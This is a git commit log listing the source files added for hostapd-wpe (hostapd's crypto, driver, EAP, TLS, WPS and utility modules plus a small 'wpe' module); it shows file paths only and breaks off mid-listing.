create mode 100644 hostapd-wpe/src/src/crypto/.gitignore create mode 100644 hostapd-wpe/src/src/crypto/Makefile create mode 100644 hostapd-wpe/src/src/crypto/aes-cbc.c create mode 100644 hostapd-wpe/src/src/crypto/aes-ccm.c create mode 100644 hostapd-wpe/src/src/crypto/aes-ctr.c create mode 100644 hostapd-wpe/src/src/crypto/aes-eax.c create mode 100644 hostapd-wpe/src/src/crypto/aes-encblock.c create mode 100644 hostapd-wpe/src/src/crypto/aes-gcm.c create mode 100644 hostapd-wpe/src/src/crypto/aes-internal-dec.c create mode 100644 hostapd-wpe/src/src/crypto/aes-internal-enc.c create mode 100644 hostapd-wpe/src/src/crypto/aes-internal.c create mode 100644 hostapd-wpe/src/src/crypto/aes-omac1.c create mode 100644 hostapd-wpe/src/src/crypto/aes-siv.c create mode 100644 hostapd-wpe/src/src/crypto/aes-unwrap.c create mode 100644 hostapd-wpe/src/src/crypto/aes-wrap.c create mode 100644 hostapd-wpe/src/src/crypto/aes.h create mode 100644 hostapd-wpe/src/src/crypto/aes_i.h create mode 100644 hostapd-wpe/src/src/crypto/aes_siv.h create mode 100644 hostapd-wpe/src/src/crypto/aes_wrap.h create mode 100644 hostapd-wpe/src/src/crypto/crypto.h create mode 100644 hostapd-wpe/src/src/crypto/crypto_gnutls.c create mode 100644 hostapd-wpe/src/src/crypto/crypto_internal-cipher.c create mode 100644 hostapd-wpe/src/src/crypto/crypto_internal-modexp.c create mode 100644 hostapd-wpe/src/src/crypto/crypto_internal-rsa.c create mode 100644 hostapd-wpe/src/src/crypto/crypto_internal.c create mode 100644 hostapd-wpe/src/src/crypto/crypto_libtomcrypt.c create mode 100644 hostapd-wpe/src/src/crypto/crypto_linux.c create mode 100644 hostapd-wpe/src/src/crypto/crypto_module_tests.c create mode 100644 hostapd-wpe/src/src/crypto/crypto_nettle.c create mode 100644 hostapd-wpe/src/src/crypto/crypto_none.c create mode 100644 hostapd-wpe/src/src/crypto/crypto_openssl.c create mode 100644 hostapd-wpe/src/src/crypto/crypto_wolfssl.c create mode 100644 hostapd-wpe/src/src/crypto/des-internal.c create mode 100644 hostapd-wpe/src/src/crypto/des_i.h create mode 100644 hostapd-wpe/src/src/crypto/dh_group5.c create mode 100644 hostapd-wpe/src/src/crypto/dh_group5.h create mode 100644 hostapd-wpe/src/src/crypto/dh_groups.c create mode 100644 hostapd-wpe/src/src/crypto/dh_groups.h create mode 100644 hostapd-wpe/src/src/crypto/fips_prf_internal.c create mode 100644 hostapd-wpe/src/src/crypto/fips_prf_openssl.c create mode 100644 hostapd-wpe/src/src/crypto/fips_prf_wolfssl.c create mode 100644 hostapd-wpe/src/src/crypto/md4-internal.c create mode 100644 hostapd-wpe/src/src/crypto/md5-internal.c create mode 100644 hostapd-wpe/src/src/crypto/md5.c create mode 100644 hostapd-wpe/src/src/crypto/md5.h create mode 100644 hostapd-wpe/src/src/crypto/md5_i.h create mode 100644 hostapd-wpe/src/src/crypto/milenage.c create mode 100644 hostapd-wpe/src/src/crypto/milenage.h create mode 100644 hostapd-wpe/src/src/crypto/ms_funcs.c create mode 100644 hostapd-wpe/src/src/crypto/ms_funcs.h create mode 100644 hostapd-wpe/src/src/crypto/random.c create mode 100644 hostapd-wpe/src/src/crypto/random.h create mode 100644 hostapd-wpe/src/src/crypto/rc4.c create mode 100644 hostapd-wpe/src/src/crypto/sha1-internal.c create mode 100644 hostapd-wpe/src/src/crypto/sha1-pbkdf2.c create mode 100644 hostapd-wpe/src/src/crypto/sha1-prf.c create mode 100644 hostapd-wpe/src/src/crypto/sha1-tlsprf.c create mode 100644 hostapd-wpe/src/src/crypto/sha1-tprf.c create mode 100644 hostapd-wpe/src/src/crypto/sha1.c create mode 100644 hostapd-wpe/src/src/crypto/sha1.h create mode 100644 hostapd-wpe/src/src/crypto/sha1_i.h create mode 100644 hostapd-wpe/src/src/crypto/sha256-internal.c create mode 100644 hostapd-wpe/src/src/crypto/sha256-kdf.c create mode 100644 hostapd-wpe/src/src/crypto/sha256-prf.c create mode 100644 hostapd-wpe/src/src/crypto/sha256-tlsprf.c create mode 100644 hostapd-wpe/src/src/crypto/sha256.c create mode 100644 hostapd-wpe/src/src/crypto/sha256.h create mode 100644 hostapd-wpe/src/src/crypto/sha256_i.h create mode 100644 hostapd-wpe/src/src/crypto/sha384-internal.c create mode 100644 hostapd-wpe/src/src/crypto/sha384-kdf.c create mode 100644 hostapd-wpe/src/src/crypto/sha384-prf.c create mode 100644 hostapd-wpe/src/src/crypto/sha384.c create mode 100644 hostapd-wpe/src/src/crypto/sha384.h create mode 100644 hostapd-wpe/src/src/crypto/sha384_i.h create mode 100644 hostapd-wpe/src/src/crypto/sha512-internal.c create mode 100644 hostapd-wpe/src/src/crypto/sha512-kdf.c create mode 100644 hostapd-wpe/src/src/crypto/sha512-prf.c create mode 100644 hostapd-wpe/src/src/crypto/sha512.c create mode 100644 hostapd-wpe/src/src/crypto/sha512.h create mode 100644 hostapd-wpe/src/src/crypto/sha512_i.h create mode 100644 hostapd-wpe/src/src/crypto/tls.h create mode 100644 hostapd-wpe/src/src/crypto/tls_gnutls.c create mode 100644 hostapd-wpe/src/src/crypto/tls_internal.c create mode 100644 hostapd-wpe/src/src/crypto/tls_none.c create mode 100644 hostapd-wpe/src/src/crypto/tls_openssl.c create mode 100644 hostapd-wpe/src/src/crypto/tls_openssl.h create mode 100644 hostapd-wpe/src/src/crypto/tls_openssl_ocsp.c create mode 100644 hostapd-wpe/src/src/crypto/tls_wolfssl.c create mode 100644 hostapd-wpe/src/src/drivers/.gitignore create mode 100644 hostapd-wpe/src/src/drivers/Makefile create mode 100644 hostapd-wpe/src/src/drivers/android_drv.h create mode 100644 hostapd-wpe/src/src/drivers/driver.h create mode 100644 hostapd-wpe/src/src/drivers/driver_atheros.c create mode 100644 hostapd-wpe/src/src/drivers/driver_bsd.c create mode 100644 hostapd-wpe/src/src/drivers/driver_common.c create mode 100644 hostapd-wpe/src/src/drivers/driver_hostap.c create mode 100644 hostapd-wpe/src/src/drivers/driver_hostap.h create mode 100644 hostapd-wpe/src/src/drivers/driver_macsec_linux.c create mode 100644 hostapd-wpe/src/src/drivers/driver_macsec_qca.c create mode 100644 hostapd-wpe/src/src/drivers/driver_ndis.c create mode 100644 hostapd-wpe/src/src/drivers/driver_ndis.h create mode 100644 hostapd-wpe/src/src/drivers/driver_ndis_.c create mode 100644 hostapd-wpe/src/src/drivers/driver_nl80211.c create mode 100644 hostapd-wpe/src/src/drivers/driver_nl80211.h create mode 100644 hostapd-wpe/src/src/drivers/driver_nl80211_android.c create mode 100644 hostapd-wpe/src/src/drivers/driver_nl80211_capa.c create mode 100644 hostapd-wpe/src/src/drivers/driver_nl80211_event.c create mode 100644 hostapd-wpe/src/src/drivers/driver_nl80211_monitor.c create mode 100644 hostapd-wpe/src/src/drivers/driver_nl80211_scan.c create mode 100644 hostapd-wpe/src/src/drivers/driver_none.c create mode 100644 hostapd-wpe/src/src/drivers/driver_openbsd.c create mode 100644 hostapd-wpe/src/src/drivers/driver_privsep.c create mode 100644 hostapd-wpe/src/src/drivers/driver_roboswitch.c create mode 100644 hostapd-wpe/src/src/drivers/driver_wext.c create mode 100644 hostapd-wpe/src/src/drivers/driver_wext.h create mode 100644 hostapd-wpe/src/src/drivers/driver_wired.c create mode 100644 hostapd-wpe/src/src/drivers/driver_wired_common.c create mode 100644 hostapd-wpe/src/src/drivers/driver_wired_common.h create mode 100644 hostapd-wpe/src/src/drivers/drivers.c create mode 100644 hostapd-wpe/src/src/drivers/drivers.mak create mode 100644 hostapd-wpe/src/src/drivers/drivers.mk create mode 100644 hostapd-wpe/src/src/drivers/linux_defines.h create mode 100644 hostapd-wpe/src/src/drivers/linux_ioctl.c create mode 100644 hostapd-wpe/src/src/drivers/linux_ioctl.h create mode 100644 hostapd-wpe/src/src/drivers/linux_wext.h create mode 100644 hostapd-wpe/src/src/drivers/ndis_events.c create mode 100644 hostapd-wpe/src/src/drivers/netlink.c create mode 100644 hostapd-wpe/src/src/drivers/netlink.h create mode 100644 hostapd-wpe/src/src/drivers/nl80211_copy.h create mode 100644 hostapd-wpe/src/src/drivers/priv_netlink.h create mode 100644 hostapd-wpe/src/src/drivers/rfkill.c create mode 100644 hostapd-wpe/src/src/drivers/rfkill.h create mode 100644 hostapd-wpe/src/src/eap_common/Makefile create mode 100644 hostapd-wpe/src/src/eap_common/chap.c create mode 100644 hostapd-wpe/src/src/eap_common/chap.h create mode 100644 hostapd-wpe/src/src/eap_common/eap_common.c create mode 100644 hostapd-wpe/src/src/eap_common/eap_common.h create mode 100644 hostapd-wpe/src/src/eap_common/eap_defs.h create mode 100644 hostapd-wpe/src/src/eap_common/eap_eke_common.c create mode 100644 hostapd-wpe/src/src/eap_common/eap_eke_common.h create mode 100644 hostapd-wpe/src/src/eap_common/eap_fast_common.c create mode 100644 hostapd-wpe/src/src/eap_common/eap_fast_common.h create mode 100644 hostapd-wpe/src/src/eap_common/eap_gpsk_common.c create mode 100644 hostapd-wpe/src/src/eap_common/eap_gpsk_common.h create mode 100644 hostapd-wpe/src/src/eap_common/eap_ikev2_common.c create mode 100644 hostapd-wpe/src/src/eap_common/eap_ikev2_common.h create mode 100644 hostapd-wpe/src/src/eap_common/eap_pax_common.c create mode 100644 hostapd-wpe/src/src/eap_common/eap_pax_common.h create mode 100644 hostapd-wpe/src/src/eap_common/eap_peap_common.c create mode 100644 hostapd-wpe/src/src/eap_common/eap_peap_common.h create mode 100644 hostapd-wpe/src/src/eap_common/eap_psk_common.c create mode 100644 hostapd-wpe/src/src/eap_common/eap_psk_common.h create mode 100644 hostapd-wpe/src/src/eap_common/eap_pwd_common.c create mode 100644 hostapd-wpe/src/src/eap_common/eap_pwd_common.h create mode 100644 hostapd-wpe/src/src/eap_common/eap_sake_common.c create mode 100644 hostapd-wpe/src/src/eap_common/eap_sake_common.h create mode 100644 hostapd-wpe/src/src/eap_common/eap_sim_common.c create mode 100644 hostapd-wpe/src/src/eap_common/eap_sim_common.h create mode 100644 hostapd-wpe/src/src/eap_common/eap_tlv_common.h create mode 100644 hostapd-wpe/src/src/eap_common/eap_ttls.h create mode 100644 hostapd-wpe/src/src/eap_common/eap_wsc_common.c create mode 100644 hostapd-wpe/src/src/eap_common/eap_wsc_common.h create mode 100644 hostapd-wpe/src/src/eap_common/ikev2_common.c create mode 100644 hostapd-wpe/src/src/eap_common/ikev2_common.h create mode 100644 hostapd-wpe/src/src/eap_peer/Makefile create mode 100644 hostapd-wpe/src/src/eap_peer/eap.c create mode 100644 hostapd-wpe/src/src/eap_peer/eap.h create mode 100644 hostapd-wpe/src/src/eap_peer/eap_aka.c create mode 100644 hostapd-wpe/src/src/eap_peer/eap_config.h create mode 100644 hostapd-wpe/src/src/eap_peer/eap_eke.c create mode 100644 hostapd-wpe/src/src/eap_peer/eap_fast.c create mode 100644 hostapd-wpe/src/src/eap_peer/eap_fast_pac.c create mode 100644 hostapd-wpe/src/src/eap_peer/eap_fast_pac.h create mode 100644 hostapd-wpe/src/src/eap_peer/eap_gpsk.c create mode 100644 hostapd-wpe/src/src/eap_peer/eap_gtc.c create mode 100644 hostapd-wpe/src/src/eap_peer/eap_i.h create mode 100644 hostapd-wpe/src/src/eap_peer/eap_ikev2.c create mode 100644 hostapd-wpe/src/src/eap_peer/eap_leap.c create mode 100644 hostapd-wpe/src/src/eap_peer/eap_md5.c create mode 100644 hostapd-wpe/src/src/eap_peer/eap_methods.c create mode 100644 hostapd-wpe/src/src/eap_peer/eap_methods.h create mode 100644 hostapd-wpe/src/src/eap_peer/eap_mschapv2.c create mode 100644 hostapd-wpe/src/src/eap_peer/eap_otp.c create mode 100644 hostapd-wpe/src/src/eap_peer/eap_pax.c create mode 100644 hostapd-wpe/src/src/eap_peer/eap_peap.c create mode 100644 hostapd-wpe/src/src/eap_peer/eap_proxy.h create mode 100644 hostapd-wpe/src/src/eap_peer/eap_proxy_dummy.c create mode 100644 hostapd-wpe/src/src/eap_peer/eap_psk.c create mode 100644 hostapd-wpe/src/src/eap_peer/eap_pwd.c create mode 100644 hostapd-wpe/src/src/eap_peer/eap_sake.c create mode 100644 hostapd-wpe/src/src/eap_peer/eap_sim.c create mode 100644 hostapd-wpe/src/src/eap_peer/eap_tls.c create mode 100644 hostapd-wpe/src/src/eap_peer/eap_tls_common.c create mode 100644 hostapd-wpe/src/src/eap_peer/eap_tls_common.h create mode 100644 hostapd-wpe/src/src/eap_peer/eap_tnc.c create mode 100644 hostapd-wpe/src/src/eap_peer/eap_ttls.c create mode 100644 hostapd-wpe/src/src/eap_peer/eap_vendor_test.c create mode 100644 hostapd-wpe/src/src/eap_peer/eap_wsc.c create mode 100644 hostapd-wpe/src/src/eap_peer/ikev2.c create mode 100644 hostapd-wpe/src/src/eap_peer/ikev2.h create mode 100644 hostapd-wpe/src/src/eap_peer/mschapv2.c create mode 100644 hostapd-wpe/src/src/eap_peer/mschapv2.h create mode 100644 hostapd-wpe/src/src/eap_peer/tncc.c create mode 100644 hostapd-wpe/src/src/eap_peer/tncc.h create mode 100644 hostapd-wpe/src/src/eap_server/Makefile create mode 100644 hostapd-wpe/src/src/eap_server/eap.h create mode 100644 hostapd-wpe/src/src/eap_server/eap_i.h create mode 100644 hostapd-wpe/src/src/eap_server/eap_methods.h create mode 100644 hostapd-wpe/src/src/eap_server/eap_server.c create mode 100644 hostapd-wpe/src/src/eap_server/eap_server_aka.c create mode 100644 hostapd-wpe/src/src/eap_server/eap_server_eke.c create mode 100644 hostapd-wpe/src/src/eap_server/eap_server_fast.c create mode 100644 hostapd-wpe/src/src/eap_server/eap_server_gpsk.c create mode 100644 hostapd-wpe/src/src/eap_server/eap_server_gtc.c create mode 100644 hostapd-wpe/src/src/eap_server/eap_server_identity.c create mode 100644 hostapd-wpe/src/src/eap_server/eap_server_ikev2.c create mode 100644 hostapd-wpe/src/src/eap_server/eap_server_md5.c create mode 100644 hostapd-wpe/src/src/eap_server/eap_server_methods.c create mode 100644 hostapd-wpe/src/src/eap_server/eap_server_mschapv2.c create mode 100644 hostapd-wpe/src/src/eap_server/eap_server_pax.c create mode 100644 hostapd-wpe/src/src/eap_server/eap_server_peap.c create mode 100644 hostapd-wpe/src/src/eap_server/eap_server_psk.c create mode 100644 hostapd-wpe/src/src/eap_server/eap_server_pwd.c create mode 100644 hostapd-wpe/src/src/eap_server/eap_server_sake.c create mode 100644 hostapd-wpe/src/src/eap_server/eap_server_sim.c create mode 100644 hostapd-wpe/src/src/eap_server/eap_server_tls.c create mode 100644 hostapd-wpe/src/src/eap_server/eap_server_tls_common.c create mode 100644 hostapd-wpe/src/src/eap_server/eap_server_tnc.c create mode 100644 hostapd-wpe/src/src/eap_server/eap_server_ttls.c create mode 100644 hostapd-wpe/src/src/eap_server/eap_server_vendor_test.c create mode 100644 hostapd-wpe/src/src/eap_server/eap_server_wsc.c create mode 100644 hostapd-wpe/src/src/eap_server/eap_sim_db.c create mode 100644 hostapd-wpe/src/src/eap_server/eap_sim_db.h create mode 100644 hostapd-wpe/src/src/eap_server/eap_tls_common.h create mode 100644 hostapd-wpe/src/src/eap_server/ikev2.c create mode 100644 hostapd-wpe/src/src/eap_server/ikev2.h create mode 100644 hostapd-wpe/src/src/eap_server/tncs.c create mode 100644 hostapd-wpe/src/src/eap_server/tncs.h create mode 100644 hostapd-wpe/src/src/eapol_auth/Makefile create mode 100644 hostapd-wpe/src/src/eapol_auth/eapol_auth_dump.c create mode 100644 hostapd-wpe/src/src/eapol_auth/eapol_auth_sm.c create mode 100644 hostapd-wpe/src/src/eapol_auth/eapol_auth_sm.h create mode 100644 hostapd-wpe/src/src/eapol_auth/eapol_auth_sm_i.h create mode 100644 hostapd-wpe/src/src/eapol_supp/Makefile create mode 100644 hostapd-wpe/src/src/eapol_supp/eapol_supp_sm.c create mode 100644 hostapd-wpe/src/src/eapol_supp/eapol_supp_sm.h create mode 100644 hostapd-wpe/src/src/fst/Makefile create mode 100644 hostapd-wpe/src/src/fst/fst.c create mode 100644 hostapd-wpe/src/src/fst/fst.h create mode 100644 hostapd-wpe/src/src/fst/fst_ctrl_aux.c create mode 100644 hostapd-wpe/src/src/fst/fst_ctrl_aux.h create mode 100644 hostapd-wpe/src/src/fst/fst_ctrl_defs.h create mode 100644 hostapd-wpe/src/src/fst/fst_ctrl_iface.c create mode 100644 hostapd-wpe/src/src/fst/fst_ctrl_iface.h create mode 100644 hostapd-wpe/src/src/fst/fst_defs.h create mode 100644 hostapd-wpe/src/src/fst/fst_group.c create mode 100644 hostapd-wpe/src/src/fst/fst_group.h create mode 100644 hostapd-wpe/src/src/fst/fst_iface.c create mode 100644 hostapd-wpe/src/src/fst/fst_iface.h create mode 100644 hostapd-wpe/src/src/fst/fst_internal.h create mode 100644 hostapd-wpe/src/src/fst/fst_session.c create mode 100644 hostapd-wpe/src/src/fst/fst_session.h create mode 100644 hostapd-wpe/src/src/l2_packet/Makefile create mode 100644 hostapd-wpe/src/src/l2_packet/l2_packet.h create mode 100644 hostapd-wpe/src/src/l2_packet/l2_packet_freebsd.c create mode 100644 hostapd-wpe/src/src/l2_packet/l2_packet_linux.c create mode 100644 hostapd-wpe/src/src/l2_packet/l2_packet_ndis.c create mode 100644 hostapd-wpe/src/src/l2_packet/l2_packet_none.c create mode 100644 hostapd-wpe/src/src/l2_packet/l2_packet_pcap.c create mode 100644 hostapd-wpe/src/src/l2_packet/l2_packet_privsep.c create mode 100644 hostapd-wpe/src/src/l2_packet/l2_packet_winpcap.c create mode 100644 hostapd-wpe/src/src/lib.rules create mode 100644 hostapd-wpe/src/src/p2p/Makefile create mode 100644 hostapd-wpe/src/src/p2p/p2p.c create mode 100644 hostapd-wpe/src/src/p2p/p2p.h create mode 100644 hostapd-wpe/src/src/p2p/p2p_build.c create mode 100644 hostapd-wpe/src/src/p2p/p2p_dev_disc.c create mode 100644 hostapd-wpe/src/src/p2p/p2p_go_neg.c create mode 100644 hostapd-wpe/src/src/p2p/p2p_group.c create mode 100644 hostapd-wpe/src/src/p2p/p2p_i.h create mode 100644 hostapd-wpe/src/src/p2p/p2p_invitation.c create mode 100644 hostapd-wpe/src/src/p2p/p2p_parse.c create mode 100644 hostapd-wpe/src/src/p2p/p2p_pd.c create mode 100644 hostapd-wpe/src/src/p2p/p2p_sd.c create mode 100644 hostapd-wpe/src/src/p2p/p2p_utils.c create mode 100644 hostapd-wpe/src/src/pae/Makefile create mode 100644 hostapd-wpe/src/src/pae/ieee802_1x_cp.c create mode 100644 hostapd-wpe/src/src/pae/ieee802_1x_cp.h create mode 100644 hostapd-wpe/src/src/pae/ieee802_1x_kay.c create mode 100644 hostapd-wpe/src/src/pae/ieee802_1x_kay.h create mode 100644 hostapd-wpe/src/src/pae/ieee802_1x_kay_i.h create mode 100644 hostapd-wpe/src/src/pae/ieee802_1x_key.c create mode 100644 hostapd-wpe/src/src/pae/ieee802_1x_key.h create mode 100644 hostapd-wpe/src/src/pae/ieee802_1x_secy_ops.c create mode 100644 hostapd-wpe/src/src/pae/ieee802_1x_secy_ops.h create mode 100644 hostapd-wpe/src/src/radius/.gitignore create mode 100644 hostapd-wpe/src/src/radius/Makefile create mode 100644 hostapd-wpe/src/src/radius/radius.c create mode 100644 hostapd-wpe/src/src/radius/radius.h create mode 100644 hostapd-wpe/src/src/radius/radius_client.c create mode 100644 hostapd-wpe/src/src/radius/radius_client.h create mode 100644 hostapd-wpe/src/src/radius/radius_das.c create mode 100644 hostapd-wpe/src/src/radius/radius_das.h create mode 100644 hostapd-wpe/src/src/radius/radius_server.c create mode 100644 hostapd-wpe/src/src/radius/radius_server.h create mode 100644 hostapd-wpe/src/src/rsn_supp/Makefile create mode 100644 hostapd-wpe/src/src/rsn_supp/pmksa_cache.c create mode 100644 hostapd-wpe/src/src/rsn_supp/pmksa_cache.h create mode 100644 hostapd-wpe/src/src/rsn_supp/preauth.c create mode 100644 hostapd-wpe/src/src/rsn_supp/preauth.h create mode 100644 hostapd-wpe/src/src/rsn_supp/tdls.c create mode 100644 hostapd-wpe/src/src/rsn_supp/wpa.c create mode 100644 hostapd-wpe/src/src/rsn_supp/wpa.h create mode 100644 hostapd-wpe/src/src/rsn_supp/wpa_ft.c create mode 100644 hostapd-wpe/src/src/rsn_supp/wpa_i.h create mode 100644 hostapd-wpe/src/src/rsn_supp/wpa_ie.c create mode 100644 hostapd-wpe/src/src/rsn_supp/wpa_ie.h create mode 100644 hostapd-wpe/src/src/tls/.gitignore create mode 100644 hostapd-wpe/src/src/tls/Makefile create mode 100644 hostapd-wpe/src/src/tls/asn1.c create mode 100644 hostapd-wpe/src/src/tls/asn1.h create mode 100644 hostapd-wpe/src/src/tls/bignum.c create mode 100644 hostapd-wpe/src/src/tls/bignum.h create mode 100644 hostapd-wpe/src/src/tls/libtommath.c create mode 100644 hostapd-wpe/src/src/tls/pkcs1.c create mode 100644 hostapd-wpe/src/src/tls/pkcs1.h create mode 100644 hostapd-wpe/src/src/tls/pkcs5.c create mode 100644 hostapd-wpe/src/src/tls/pkcs5.h create mode 100644 hostapd-wpe/src/src/tls/pkcs8.c create mode 100644 hostapd-wpe/src/src/tls/pkcs8.h create mode 100644 hostapd-wpe/src/src/tls/rsa.c create mode 100644 hostapd-wpe/src/src/tls/rsa.h create mode 100644 hostapd-wpe/src/src/tls/tlsv1_client.c create mode 100644 hostapd-wpe/src/src/tls/tlsv1_client.h create mode 100644 hostapd-wpe/src/src/tls/tlsv1_client_i.h create mode 100644 hostapd-wpe/src/src/tls/tlsv1_client_ocsp.c create mode 100644 hostapd-wpe/src/src/tls/tlsv1_client_read.c create mode 100644 hostapd-wpe/src/src/tls/tlsv1_client_write.c create mode 100644 hostapd-wpe/src/src/tls/tlsv1_common.c create mode 100644 hostapd-wpe/src/src/tls/tlsv1_common.h create mode 100644 hostapd-wpe/src/src/tls/tlsv1_cred.c create mode 100644 hostapd-wpe/src/src/tls/tlsv1_cred.h create mode 100644 hostapd-wpe/src/src/tls/tlsv1_record.c create mode 100644 hostapd-wpe/src/src/tls/tlsv1_record.h create mode 100644 hostapd-wpe/src/src/tls/tlsv1_server.c create mode 100644 hostapd-wpe/src/src/tls/tlsv1_server.h create mode 100644 hostapd-wpe/src/src/tls/tlsv1_server_i.h create mode 100644 hostapd-wpe/src/src/tls/tlsv1_server_read.c create mode 100644 hostapd-wpe/src/src/tls/tlsv1_server_write.c create mode 100644 hostapd-wpe/src/src/tls/x509v3.c create mode 100644 hostapd-wpe/src/src/tls/x509v3.h create mode 100644 hostapd-wpe/src/src/utils/.gitignore create mode 100644 hostapd-wpe/src/src/utils/Makefile create mode 100644 hostapd-wpe/src/src/utils/base64.c create mode 100644 hostapd-wpe/src/src/utils/base64.h create mode 100644 hostapd-wpe/src/src/utils/bitfield.c create mode 100644 hostapd-wpe/src/src/utils/bitfield.h create mode 100644 hostapd-wpe/src/src/utils/browser-android.c create mode 100644 hostapd-wpe/src/src/utils/browser-system.c create mode 100644 hostapd-wpe/src/src/utils/browser-wpadebug.c create mode 100644 hostapd-wpe/src/src/utils/browser.c create mode 100644 hostapd-wpe/src/src/utils/browser.h create mode 100644 hostapd-wpe/src/src/utils/build_config.h create mode 100644 hostapd-wpe/src/src/utils/common.c create mode 100644 hostapd-wpe/src/src/utils/common.h create mode 100644 hostapd-wpe/src/src/utils/const_time.h create mode 100644 hostapd-wpe/src/src/utils/crc32.c create mode 100644 hostapd-wpe/src/src/utils/crc32.h create mode 100644 hostapd-wpe/src/src/utils/edit.c create mode 100644 hostapd-wpe/src/src/utils/edit.h create mode 100644 hostapd-wpe/src/src/utils/edit_readline.c create mode 100644 hostapd-wpe/src/src/utils/edit_simple.c create mode 100644 hostapd-wpe/src/src/utils/eloop.c create mode 100644 hostapd-wpe/src/src/utils/eloop.h create mode 100644 hostapd-wpe/src/src/utils/eloop_win.c create mode 100644 hostapd-wpe/src/src/utils/ext_password.c create mode 100644 hostapd-wpe/src/src/utils/ext_password.h create mode 100644 hostapd-wpe/src/src/utils/ext_password_i.h create mode 100644 hostapd-wpe/src/src/utils/ext_password_test.c create mode 100644 hostapd-wpe/src/src/utils/http-utils.h create mode 100644 hostapd-wpe/src/src/utils/http_curl.c create mode 100644 hostapd-wpe/src/src/utils/includes.h create mode 100644 hostapd-wpe/src/src/utils/ip_addr.c create mode 100644 hostapd-wpe/src/src/utils/ip_addr.h create mode 100644 hostapd-wpe/src/src/utils/json.c create mode 100644 hostapd-wpe/src/src/utils/json.h create mode 100644 hostapd-wpe/src/src/utils/list.h create mode 100644 hostapd-wpe/src/src/utils/module_tests.h create mode 100644 hostapd-wpe/src/src/utils/os.h create mode 100644 hostapd-wpe/src/src/utils/os_internal.c create mode 100644 hostapd-wpe/src/src/utils/os_none.c create mode 100644 hostapd-wpe/src/src/utils/os_unix.c create mode 100644 hostapd-wpe/src/src/utils/os_win32.c create mode 100644 hostapd-wpe/src/src/utils/pcsc_funcs.c create mode 100644 hostapd-wpe/src/src/utils/pcsc_funcs.h create mode 100644 hostapd-wpe/src/src/utils/platform.h create mode 100644 hostapd-wpe/src/src/utils/radiotap.c create mode 100644 hostapd-wpe/src/src/utils/radiotap.h create mode 100644 hostapd-wpe/src/src/utils/radiotap_iter.h create mode 100644 hostapd-wpe/src/src/utils/state_machine.h create mode 100644 hostapd-wpe/src/src/utils/trace.c create mode 100644 hostapd-wpe/src/src/utils/trace.h create mode 100644 hostapd-wpe/src/src/utils/utils_module_tests.c create mode 100644 hostapd-wpe/src/src/utils/uuid.c create mode 100644 hostapd-wpe/src/src/utils/uuid.h create mode 100644 hostapd-wpe/src/src/utils/wpa_debug.c create mode 100644 hostapd-wpe/src/src/utils/wpa_debug.h create mode 100644 hostapd-wpe/src/src/utils/wpabuf.c create mode 100644 hostapd-wpe/src/src/utils/wpabuf.h create mode 100644 hostapd-wpe/src/src/utils/xml-utils.c create mode 100644 hostapd-wpe/src/src/utils/xml-utils.h create mode 100644 hostapd-wpe/src/src/utils/xml_libxml2.c create mode 100644 hostapd-wpe/src/src/wpe/Makefile create mode 100644 hostapd-wpe/src/src/wpe/wpe.c create mode 100644 hostapd-wpe/src/src/wpe/wpe.h create mode 100644 hostapd-wpe/src/src/wps/Makefile create mode 100644 hostapd-wpe/src/src/wps/http.h create mode 100644 hostapd-wpe/src/src/wps/http_client.c create mode 100644 hostapd-wpe/src/src/wps/http_client.h create mode 100644 hostapd-wpe/src/src/wps/http_server.c create mode 100644 hostapd-wpe/src/src/wps/http_server.h create mode 100644 hostapd-wpe/src/src/wps/httpread.c create mode 100644 hostapd-wpe/src/src/wps/httpread.h create mode 100644 hostapd-wpe/src/src/wps/ndef.c create mode 100644 hostapd-wpe/src/src/wps/upnp_xml.c create mode 100644 hostapd-wpe/src/src/wps/upnp_xml.h create mode 100644 hostapd-wpe/src/src/wps/wps.c create mode 100644 hostapd-wpe/src/src/wps/wps.h create mode 100644 hostapd-wpe/src/src/wps/wps_attr_build.c create mode 100644 hostapd-wpe/src/src/wps/wps_attr_parse.c create mode 100644 hostapd-wpe/src/src/wps/wps_attr_parse.h create mode 100644 hostapd-wpe/src/src/wps/wps_attr_process.c create mode 100644 hostapd-wpe/src/src/wps/wps_common.c create mode 100644 hostapd-wpe/src/src/wps/wps_defs.h create mode 100644 hostapd-wpe/src/src/wps/wps_dev_attr.c create mode 100644 hostapd-wpe/src/src/wps/wps_dev_attr.h create mode 100644 hostapd-wpe/src/src/wps/wps_enrollee.c create mode 100644 hostapd-wpe/src/src/wps/wps_er.c create mode 100644 hostapd-wpe/src/src/wps/wps_er.h create mode 100644 hostapd-wpe/src/src/wps/wps_er_ssdp.c create mode 100644 hostapd-wpe/src/src/wps/wps_i.h create mode 100644 hostapd-wpe/src/src/wps/wps_module_tests.c create mode 100644 hostapd-wpe/src/src/wps/wps_registrar.c create mode 100644 hostapd-wpe/src/src/wps/wps_upnp.c create mode 100644 hostapd-wpe/src/src/wps/wps_upnp.h create mode 100644 hostapd-wpe/src/src/wps/wps_upnp_ap.c create mode 100644 hostapd-wpe/src/src/wps/wps_upnp_event.c create mode 100644 hostapd-wpe/src/src/wps/wps_upnp_i.h create mode 100644 hostapd-wpe/src/src/wps/wps_upnp_ssdp.c create mode 100644 hostapd-wpe/src/src/wps/wps_upnp_web.c create mode 100644 hostapd-wpe/src/src/wps/wps_validate.c create mode 100755 hostapd-wpe/src/wpa_supplicant/.config create mode 100644 hostapd-wpe/src/wpa_supplicant/.gitignore create mode 100644 hostapd-wpe/src/wpa_supplicant/Android.mk create mode 100644 hostapd-wpe/src/wpa_supplicant/ChangeLog create mode 100644 hostapd-wpe/src/wpa_supplicant/Makefile create mode 100644 hostapd-wpe/src/wpa_supplicant/README create mode 100644 hostapd-wpe/src/wpa_supplicant/README-HS20 create mode 100644 hostapd-wpe/src/wpa_supplicant/README-P2P create mode 100644 hostapd-wpe/src/wpa_supplicant/README-WPS create mode 100644 hostapd-wpe/src/wpa_supplicant/README-Windows.txt create mode 100644 hostapd-wpe/src/wpa_supplicant/android.config create mode 100644 hostapd-wpe/src/wpa_supplicant/ap.c create mode 100644 hostapd-wpe/src/wpa_supplicant/ap.h create mode 100644 hostapd-wpe/src/wpa_supplicant/autoscan.c create mode 100644 hostapd-wpe/src/wpa_supplicant/autoscan.h create mode 100644 hostapd-wpe/src/wpa_supplicant/autoscan_exponential.c create mode 100644 hostapd-wpe/src/wpa_supplicant/autoscan_periodic.c create mode 100644 hostapd-wpe/src/wpa_supplicant/bgscan.c create mode 100644 hostapd-wpe/src/wpa_supplicant/bgscan.h create mode 100644 hostapd-wpe/src/wpa_supplicant/bgscan_learn.c create mode 100644 hostapd-wpe/src/wpa_supplicant/bgscan_simple.c create mode 100644 